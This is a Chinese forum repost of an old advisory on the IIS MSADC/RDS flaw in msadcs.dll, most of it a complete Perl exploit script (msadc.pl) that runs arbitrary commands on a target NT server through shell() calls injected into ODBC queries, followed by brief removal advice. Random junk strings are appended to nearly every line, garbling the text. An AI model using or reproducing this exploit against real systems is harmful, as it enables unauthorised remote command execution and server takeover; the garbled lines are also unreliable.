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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #Mrof9  
5V8WSnO  
涉及程序: >E6w,Ab  
Microsoft NT server vT)FLhH6*  
 K<6)SL4  
描述: #,lJ>mTe4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 [s"xOP9R  
VI/77  
详细: $zKf>[K  
如果你没有时间读详细内容的话,就删除: qJj"WU5  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6;Wns'  
有关的安全问题就没有了。  ~p<w>C9  
=wtu  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 PF~w$ eeQ  
w`x4i fZ0q  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 Gg$4O8  
关于利用ODBC远程漏洞的描述,请参看: 3vepJ) D (  
SN' j?-  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm <>%2HRn<u  
M*<Ee]u  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 AhWcJD]  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Jm#3zFYz3  
E.45 s? r  
这里不再论述。 tFn_{fCc>  
4zzJ5,S1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: lp+Uox  
}fU"s"  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Lk#8G>U  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Qv~lH&jG  
e#BxlC  
4c0 =\v  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {Dupk0'(  
Xw)W6H|  
#!perl C;>!SRCp  
#  h&}z@  
# MSADC/RDS 'usage' (aka exploit) script 7wKT:~~oS3  
# VN]70LFz*i  
# by rain.forest.puppy L.X"wIs^  
# 8Mg wXH  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Qa>t$`o`  
# beta test and find errors! 21_sg f?  
[&eG>zF"  
use Socket; use Getopt::Std; -Ph"#R&  
getopts("e:vd:h:XR", \%args); bS7%%8C  
|q!O~<H@  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; QN)EPS:y  
*QH~ z2:[  
if (!defined $args{h} && !defined $args{R}) { xU9T8Lw  
print qq~ _D.4=2@|l8  
Usage: msadc.pl -h <host> { -d <delay> -X -v } dT?mMTKn+  
-h <host> = host you want to scan (ip or domain) "!,)Pv  
-d <seconds> = delay between calls, default 1 second #|-i*2@oR  
-X = dump Index Server path table, if available  r"YOA@  
-v = verbose M 5c$  
-e = external dictionary file for step 5 xe`SnJgA  
>W>3w  
Or a -R will resume a command session @KJ~M3d0l  
E/OfkL*\  
~; exit;} cb82k[L6  
?vh1 >1D  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; JIL(\d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} q!f'?yFYK  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 'nJ,mZx  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); a1#",%{I  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} wjy<{I  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ]Ub"NLYV  
0H!J  
if (!defined $args{R}){ $ret = &has_msadc; -RI&uFqOI  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :yxP3e%rp  
4m1@lnjp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n"  \uG^w(*)  
. "cmd /c "; ,B2p\  
$in=<STDIN>; chomp $in; L5DeLF+  
$command="cmd /c " . $in ; ze"`5z26|  
MMU>55+-  
if (defined $args{R}) {&load; exit;} q8 SHFKE  
uxx(WS  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Xx,Rah)X3  
&try_btcustmr; s+0n0C  
T|k_$LH  
print "\nStep 2: Trying to make our own DSN..."; Kt3T~k  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; {Ri6975  
{c}n."`  
print "\nStep 3: Trying known DSNs..."; H"NBjVRU%  
&known_dsn; xcE2hK/+  
M.qE$  
print "\nStep 4: Trying known .mdbs..."; T deHs{|  
&known_mdb; #b,! N  
weH;,e*r  
if (defined $args{e}){ N1fPutl$a  
print "\nStep 5: Trying dictionary of DSN names..."; \%}w7J;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } VPvQ]}g6k  
0JE*|CtK  
print "Sorry Charley...maybe next time?\n"; ec h1{v\B|  
exit; U{ 52bH<  
x~?|bnM#3  
############################################################################## 0d/ f4  
p}]K0F!  
sub sendraw { # ripped and modded from whisker 0u}+n+\g  
sleep($delay); # it's a DoS on the server! At least on mine... %6Y\4Fe  
my ($pstr)=@_; eNDc220b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "N3!!3  
die("Socket problems\n"); TUN6`/"  
if(connect(S,pack "SnA4x8",2,80,$target)){ O[+\` 63F=  
select(S); $|=1; R+# g_"1@p  
print $pstr; my @in=<S>; +!/pzoWpE  
select(STDOUT); close(S); wd*V,ZN7  
return @in; JD)wxoeg  
} else { die("Can't connect...\n"); }} e'X"uH Xt.  
Z6fR2A~Q[  
############################################################################## o*5b]XWw  
{W'{A  
sub make_header { # make the HTTP request NCp]!=uM;  
my $msadc=<<EOT q|_Cj]{  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 o0kKf+[  
User-Agent: ACTIVEDATA II]-mb  
Host: $ip nmw#4yHYy:  
Content-Length: $clen mXT{c=N)w  
Connection: Keep-Alive L"L a|  
efK WR  
ADCClientVersion:01.06 C]a iu  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 NQx>u  
eIcIl2  
--!ADM!ROX!YOUR!WORLD! @NYlVk2  
Content-Type: application/x-varg .h-k*F0Ga)  
Content-Length: $reqlen (V>/[Ev  
x-T7 tr&(  
EOT nNhb,J  
; $msadc=~s/\n/\r\n/g; 1`2lq~=GV  
return $msadc;} G&q@B`I  
:gM_v?sy  
############################################################################## .Fx-$Yqy  
~.E r  
sub make_req { # make the RDS request YeI|&FMX  
my ($switch, $p1, $p2)=@_; .2 }5Dc,eR  
my $req=""; my $t1, $t2, $query, $dsn; ._p^0UxT  
9gFfbvd  
if ($switch==1){ # this is the btcustmr.mdb query chu r(@Af  
$query="Select * from Customers where City=" . make_shell(); R:y u  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Q"k #eEA  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} .-:@+=(  
_#yd0E  
elsif ($switch==2){ # this is general make table query vMYEP_lhK,  
$query="create table AZZ (B int, C varchar(10))"; 6$G@>QCBS  
$dsn="$p1";} u vyvy  
F\%PB p  
elsif ($switch==3){ # this is general exploit table query XZ 4H(Cj  
$query="select * from AZZ where C=" . make_shell(); ^. ~ F_  
$dsn="$p1";} \ccCrDz  
r12e26_Ab  
elsif ($switch==4){ # attempt to hork file info from index server 2{01i)2y  
$query="select path from scope()"; ;HmQRiCg  
$dsn="Provider=MSIDXS;";} m }\L i]  
MC_i"P6a  
elsif ($switch==5){ # bad query ^ux"<?  
$query="select"; OSkBBo]~z  
$dsn="$p1";} gmCB4MO  
e0g>.P@6  
$t1= make_unicode($query); 'ALe>\WO  
$t2= make_unicode($dsn); Bg}(Sy  
$req = "\x02\x00\x03\x00"; 4Y{&y6  
$req.= "\x08\x00" . pack ("S1", length($t1)); ^}4ysw  
$req.= "\x00\x00" . $t1 ; {^@qfkZz^  
$req.= "\x08\x00" . pack ("S1", length($t2)); G3D!ifho.#  
$req.= "\x00\x00" . $t2 ; sDS0cc6e  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; `7Dj}vVu  
return $req;} SXRND;-W8  
wV"C ,*V  
############################################################################## d=a$Gd_$  
+~?K@n  
sub make_shell { # this makes the shell() statement -O6\!Wo=-  
return "'|shell(\"$command\")|'";} GD<pqm`vVY  
*h~(LH"tN  
############################################################################## VMW<?V 2Z  
@l?2",  
sub make_unicode { # quick little function to convert to unicode g?9%_&/})A  
my ($in)=@_; my $out; JT*Pm"}  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ]Czq A c  
return $out;} vb2aj!8_?  
u\@ L|rh  
############################################################################## GI/4<J\  
K@@Jt  
sub rdo_success { # checks for RDO return success (this is kludge) [zhcb+^5l  
my (@in) = @_; my $base=content_start(@in); EakS(Q?  
if($in[$base]=~/multipart\/mixed/){ oT^r  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 6gD|QC~;  
return 0;} l`vr({A  
{ud^+I&  
############################################################################## 2"B3Q:0he|  
Ffr6P }I  
sub make_dsn { # this makes a DSN for us n$jf($*  
my @drives=("c","d","e","f"); ,CjJO -  
print "\nMaking DSN: "; Op ;){JT  
foreach $drive (@drives) { F>rf cW2  
print "$drive: "; &:Sb$+z  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 23gJD8i8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ?`Som_vKO  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); l( ?Yx  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; EhHW`  
return 0 if $2 eq "404"; # not found/doesn't exist OuU]A[r  
if($2 eq "200") { ?r}!d2:dX  
foreach $line (@results) { E']Gh  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} i ,g<y  
} return 0;} \:-N<[  
ATf{;S}  
############################################################################## W'<cAg?  
-O>*` O>M  
sub verify_exists { 2O)2#N  
my ($page)=@_; ii]'XBSVd  
my @results=sendraw("GET $page HTTP/1.0\n\n"); l|K`'YS!<{  
return $results[0];} p> 4bj>Ql  
{bPcr hB  
##############################################################################  eZ +uW0  
K7 $Vl"l  
sub try_btcustmr { Ia>>b #h  
my @drives=("c","d","e","f"); me/ae{  
my @dirs=("winnt","winnt35","winnt351","win","windows");  P7 p'j  
oxL4* bqZ  
foreach $dir (@dirs) { |cq%eN  
print "$dir -> "; # fun status so you can see progress 0Z>oiBr4  
foreach $drive (@drives) { T#w *5Qf  
print "$drive: "; # ditto d^jIsE`  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ]<\; -i)  
$reqlenlen=length( "$reqlen" ); Ow7I`#P  
$clen= 206 + $reqlenlen + $reqlen; >zWVM1\\j  
POvpaPAZ<  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kEs=N(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} *oz=k  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} $; t#pN/`  
Ss{  
############################################################################## @DYkWivLu  
#L,5;R{`  
sub odbc_error { YP vg(T  
my (@in)=@_; my $base; Y&_1U/}h  
my $base = content_start(@in); 9=Rj9%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this L8j#l u  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N^8 lfc$a  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6Bfu89  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; IWcYa.=tZ  
return $in[$base+4].$in[$base+5].$in[$base+6];} },5_h0  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7w=%aW|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Q.[^5 8  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #%g~fh  
CmPix]YMQ  
############################################################################## ICgyCsZ,  
$\@yH^hL  
sub verbose { "Z6:d"S`  
my ($in)=@_; t#h<'?\E  
return if !$verbose; VClw!bm  
print STDOUT "\n$in\n";} dc0Ro,  
RU'DUf  
############################################################################## |_;Vb  
D;Jb' Be  
sub save { Zm@ O[:~  
my ($p1, $p2, $p3, $p4)=@_; _A .?:'-  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; U"v}br -kb  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; c=p@l<)  
close OUT;} GcPhT  
`-N&cc  
############################################################################## <~Tlx:  
i>[1^~;  
sub load { jsvD[\P  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; \HOOWaapN  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); E$[\Fk}S  
@p=<IN>; close(IN); S:"t]gbF =  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); %.R_[.W  
$target= inet_aton($ip) || die("inet_aton problems"); ngN_,x 7yc  
print "Resuming to $ip ..."; eMvb*X6  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Z qg(\  
if($p[1]==1) { {q:o}<-L+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :/IcFU~)M  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; (&$|R\W.  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 1XO*yZF  
if (rdo_success(@results)){print "Success!\n";} =7mR#3yt  
else { print "failed\n"; verbose(odbc_error(@results));}} QPfS3%p`  
elsif ($p[1]==3){ |8"~ou:.  
if(run_query("$p[3]")){ S!n 9A  
print "Success!\n";} else { print "failed\n"; }} VBssn]w  
elsif ($p[1]==4){ K5)G+Id*  
if(run_query($drvst . "$p[3]")){ <z|? C  
print "Success!\n"; } else { print "failed\n"; }} FZ/l T-"  
exit;} tH"SOGfSt  
q'?:{k$%  
############################################################################## #7U,kTj9  
(K+TqJw  
sub create_table { K,}"v ;||  
my ($in)=@_; sHrpBm&O4  
$reqlen=length( make_req(2,$in,"") ) - 28; R6Cm:4m}I  
$reqlenlen=length( "$reqlen" ); Tf"DpA!_  
$clen= 206 + $reqlenlen + $reqlen; [,a O*7 N  
my @results=sendraw(make_header() . make_req(2,$in,"")); wDZFOx0#8  
return 1 if rdo_success(@results); |Tz4xTK  
my $temp= odbc_error(@results); verbose($temp); q $`:/ ehw  
return 1 if $temp=~/Table 'AZZ' already exists/; !DCJ2h%E[_  
return 0;} m=S[Y^tR  
u hP0Zwn  
############################################################################## HJ5m5':a  
lq_W;L  
sub known_dsn { T}[W')[s  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go As (C8C<  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Hk\+;'PrN  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", r<O^uz?Di  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); rA9x T`  
<' %g $"  
foreach $dSn (@dsns) { *ftJ(  
print "."; fT8Id\6js  
next if (!is_access("DSN=$dSn")); EBM\p+x&  
if(create_table("DSN=$dSn")){ 64 \ZOG\,  
print "$dSn successful\n"; c`X'Q)c&K  
if(run_query("DSN=$dSn")){ $YSD%/c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { x[}e1sXXs  
print "Something's borked. Use verbose next time\n";}}} print "\n";} C)z[Blt  
&u"*vG (U[  
############################################################################## A0rdQmrOL  
Ytx+7OLe  
sub is_access { ojVpw4y.  
my ($in)=@_; =,[46 ;q  
$reqlen=length( make_req(5,$in,"") ) - 28; 4 _N)1u !  
$reqlenlen=length( "$reqlen" ); i&>,aiH@  
$clen= 206 + $reqlenlen + $reqlen; gH\r# wy|  
my @results=sendraw(make_header() . make_req(5,$in,"")); '{cN~A2b4  
my $temp= odbc_error(@results); dtM@iDljj  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); %1VMwqC]E  
return 0;} MQY1he2M  
W'XMC"  
############################################################################## ,mYoxEB kl  
!Y]}& pUP  
sub run_query { (4 {49b  
my ($in)=@_; <\^X,,WtO  
$reqlen=length( make_req(3,$in,"") ) - 28; !icpfxOpjQ  
$reqlenlen=length( "$reqlen" ); OV8b~k4=  
$clen= 206 + $reqlenlen + $reqlen;  R/^JyL  
my @results=sendraw(make_header() . make_req(3,$in,"")); {u.V8%8  
return 1 if rdo_success(@results); 0uU%jN$  
my $temp= odbc_error(@results); verbose($temp); 4&ea*w  
return 0;} MmWJYF=  
&OhKx  
############################################################################## SC2C%.%l`  
q qzQKN  
sub known_mdb { t48(GKF  
my @drives=("c","d","e","f","g"); {C]M]b*F6(  
my @dirs=("winnt","winnt35","winnt351","win","windows"); iW"L!t#\|  
my $dir, $drive, $mdb; 1wc -v@E  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; -'PpY302  
6eDIS|/  
# this is sparse, because I don't know of many GYO\l.%V5y  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7Xad2wXn  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", iY|YEi8  
"\\system32\\certmdb.mdb", qfSoF|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% fSqbGoIQ  
oLr"8R\d>t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4(aesZ8h  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 7-o=E=  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", iQ9#gPk_9  
"\\cfusion\\cfapps\\security\\realm_.mdb", U[A*A^$c}  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Ab2g),;c  
"\\cfusion\\database\\cfexamples.mdb", gv[7h'}<  
"\\cfusion\\database\\cfsnippets.mdb", l(]\[}.5  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 5&X  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Ve8!   
"\\cfusion\\brighttiger\\database\\cleam.mdb", [QZ~~(R  
"\\cfusion\\database\\smpolicy.mdb", zt,-O7I'1  
"\\cfusion\\database\cypress.mdb", n~&R_"mv(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", k9Sqp :l,  
"\\website\\cgi-win\\dbsample.mdb", q6Q=Zo@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", |Lhz^5/  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _yWH\5@  
); #these are just |~HlNUPR  
foreach $drive (@drives) { R NA03  
foreach $dir (@dirs){ amBz75N{  
foreach $mdb (@sysmdbs) { :x{Q  
print "."; 68HX,t  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {-Y_8@&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; kuH;AMdv  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ g?>AY2f[5  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; GVl u4  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r0 X2cc  
o`77gkLO  
foreach $drive (@drives) { j&Hn`G  
foreach $mdb (@mdbs) { GcU/   
print "."; k( g$_ ]X  
if(create_table($drv . $drive . $dir . $mdb)){ 7&At _l_  
print "\n" . $drive . $dir . $mdb . " successful\n"; sN C?o[9l!  
if(run_query($drv . $drive . $dir . $mdb)){ hL`zV  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; uf;q/Wr  
} else { print "Something's borked. Use verbose next time\n"; }}}} Vd?v"2S(9  
} '!.;(Jo  
q~^:S~q  
############################################################################## yX-xVvlv@  
s^oNQ}  
sub hork_idx { \9}5}X_x.  
print "\nAttempting to dump Index Server tables...\n"; @qC:% |>  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; |?| u-y  
$reqlen=length( make_req(4,"","") ) - 28; s{k\1 P(G}  
$reqlenlen=length( "$reqlen" ); 20moX7L  
$clen= 206 + $reqlenlen + $reqlen; xF/DYXC{8  
my @results=sendraw2(make_header() . make_req(4,"","")); .HQ<6k:  
if (rdo_success(@results)){ og\XLJ}_  
my $max=@results; my $c; my %d; gPwp [  
for($c=19; $c<$max; $c++){ eurudl  
$results[$c]=~s/\x00//g; 2 T3DV])Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; MJG%HakK0  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; DrEtnt   
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; r{Q< a  
$d{"$1$2"}="";} p&4n3%(R@  
foreach $c (keys %d){ print "$c\n"; } ZWa#}VS}-n  
} else {print "Index server doesn't seem to be installed.\n"; }} OV/FQH;V  
)j6>b-H   
############################################################################## *h4m<\^U  
Az-!LAu9 R  
sub dsn_dict { - X_w&  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6J 5)4^bk  
while(<IN>){ [;=ky<K0E  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cLU*Tx\  
next if (!is_access("DSN=$dSn")); Q$vr`yV#=6  
if(create_table("DSN=$dSn")){ YW{V4yW  
print "$dSn successful\n"; ? g{,MP5  
if(run_query("DSN=$dSn")){ >Y+KL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { D9C}Dys  
print "Something's borked. Use verbose next time\n";}}} Cv~hU%1T  
print "\n"; close(IN);} ziycyf.d  
1hviT&  
############################################################################## VjqdKQeVq  
S1zw'!O5  
sub sendraw2 { # ripped and modded from whisker S <_pGz$V  
sleep($delay); # it's a DoS on the server! At least on mine... 9Bk}g50$#  
my ($pstr)=@_; b e/1- =m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || I.u,f:Fl'  
die("Socket problems\n"); 3rY /6{  
if(connect(S,pack "SnA4x8",2,80,$target)){ Mak9qaWqF>  
print "Connected. Getting data"; BZ<z@DJp  
open(OUT,">raw.out"); my @in; G zXP  
select(S); $|=1; print $pstr; ]'h)7  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Mdrv/x{  
close(OUT); select(STDOUT); close(S); return @in; 12PE{Mut  
} else { die("Can't connect...\n"); }} lDU:EJ&DHE  
!5OMAWNU@  
############################################################################## BNCJT$t YX  
)t0b$<%  
sub content_start { # this will take in the server headers 6h_k`z  
my (@in)=@_; my $c; 0:Y`#0qK  
for ($c=1;$c<500;$c++) { <u?hdwW \  
if($in[$c] =~/^\x0d\x0a/){ \.1b\\  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Gr@{p"./z  
else { return $c+1; }}} N`Xnoehu  
return -1;} # it should never get here actually *Z`eNz}  
N#)VD\m  
############################################################################## G`#gV"PlC  
4_%FSW8-  
sub funky { CDYx/yO  
my (@in)=@_; my $error=odbc_error(@in); uHro%UAd  
if($error=~/ADO could not find the specified provider/){ ^X;Xti  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~fp+@j-A  
exit;} {}o>ne nx\  
if($error=~/A Handler is required/){ -fx88  
print "\nServer has custom handler filters (they most likely are patched)\n"; O|&TL9:  
exit;} D Ok^ON  
if($error=~/specified Handler has denied Access/){ aaug u.9  
print "\nServer has custom handler filters (they most likely are patched)\n"; ]A]E)*  
exit;}} 70 UgKE  
!(_xu{(DL  
############################################################################## K2rS[Kdfaq  
z83:a)U  
sub has_msadc { `VFl|o#H  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZU.)K>'  
my $base=content_start(@results); :ZfUjqRE  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,N7l/6  
return 0;} ;vclAsJ  
pu$XUt  
######################## >jz%bY  
[9U srpYi  
sHTePEJ_h  
解决方案: w52HN;Jm  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll /-YlC (kL  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 y]pN=<*h5  
q\b ?o!# _  
拿出来充数 哈哈
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